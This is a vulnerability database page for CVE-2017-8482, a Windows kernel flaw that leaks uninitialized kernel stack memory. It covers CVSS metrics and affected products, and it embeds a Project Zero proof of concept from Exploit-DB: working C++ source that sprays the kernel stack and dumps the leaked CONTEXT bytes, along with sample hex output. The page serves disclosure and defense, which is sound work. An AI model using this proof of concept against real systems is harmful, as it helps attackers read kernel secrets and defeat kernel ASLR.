CVE-2017-8482 : Detail

CVE-2017-8482

5
/
Medium
A01-Broken Access Control
11.28%V3
Local
2017-06-14
23h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
NVD
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CVE Descriptions

The kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows an authenticated attacker to obtain information via a specially crafted application. aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-8492, CVE-2017-8491, CVE-2017-8490, CVE-2017-8489, CVE-2017-8488, CVE-2017-8485, CVE-2017-8483, CVE-2017-8480, CVE-2017-8479, CVE-2017-8478, CVE-2017-8476, CVE-2017-8474, CVE-2017-8469, CVE-2017-8462, CVE-2017-0300, CVE-2017-0299, and CVE-2017-0297.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42220

Publication date : 2017-06-20 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1177 According to our tests, the generic exception dispatching code present in the Windows kernel (Windows 7-10) discloses portions of uninitialized kernel stack memory to user-mode clients via the CONTEXT structure set up for the ring-3 exception handlers. The attached proof-of-concept program can be used to reproduce the issue. It works by first spraying a full page of the kernel stack with a 0x41 byte ('A') using the nt!NtMapUserPhysicalPages system call (see [1]), then also spraying a page of user-mode stack (to recognize any false-positives) with a 0x78 ('x') byte, followed by raising an exception with a RaiseException() call and dumping the contents of the CONTEXT structure provided to the unhandled exception filter function. After running the program, we should observe the 'A' byte on output in place of disclosed kernel memory. On most tested platforms (Windows 7 64-bit, Windows 10 32/64-bit), running the 32-bit proof-of-concept program reveals 4 bytes of kernel stack memory at offset 0x88 of the structure. An example output is as follows: --- cut --- 00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................ 00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+... 00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2. 000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y 000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#... 000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+....... 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................ --- cut --- Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space. On Windows 7 32-bit, we're observing a slightly different output: --- cut --- 00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................ 00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*. 000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8 000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u.... 000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#....... 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA 000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? AAAAAAAAAAAA.... --- cut --- Here, we can see that 32 bytes from the kernel stack are leaked at the end of the CONTEXT structure, which correspond to the last bytes of the CONTEXT.ExtendedRegisters array. We have confirmed that when the spraying function is not invoked, this memory region discloses valid kernel-mode pointers. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> extern "C" ULONG WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static BYTE buffer[4096]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } VOID SprayUserStack() { // Buffer allocated from the user-mode stack. BYTE buffer[4096]; MyMemset(buffer, 'x', sizeof(buffer)); } LONG WINAPI MyUnhandledExceptionFilter( _In_ struct _EXCEPTION_POINTERS *ExceptionInfo ) { PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT)); return EXCEPTION_CONTINUE_EXECUTION; } int main() { SetUnhandledExceptionFilter(MyUnhandledExceptionFilter); SprayKernelStack(); SprayUserStack(); RaiseException(1337, 0, 0, NULL); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

https://www.exploit-db.com/exploits/42220/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/98858
Tags : vdb-entry, x_refsource_BID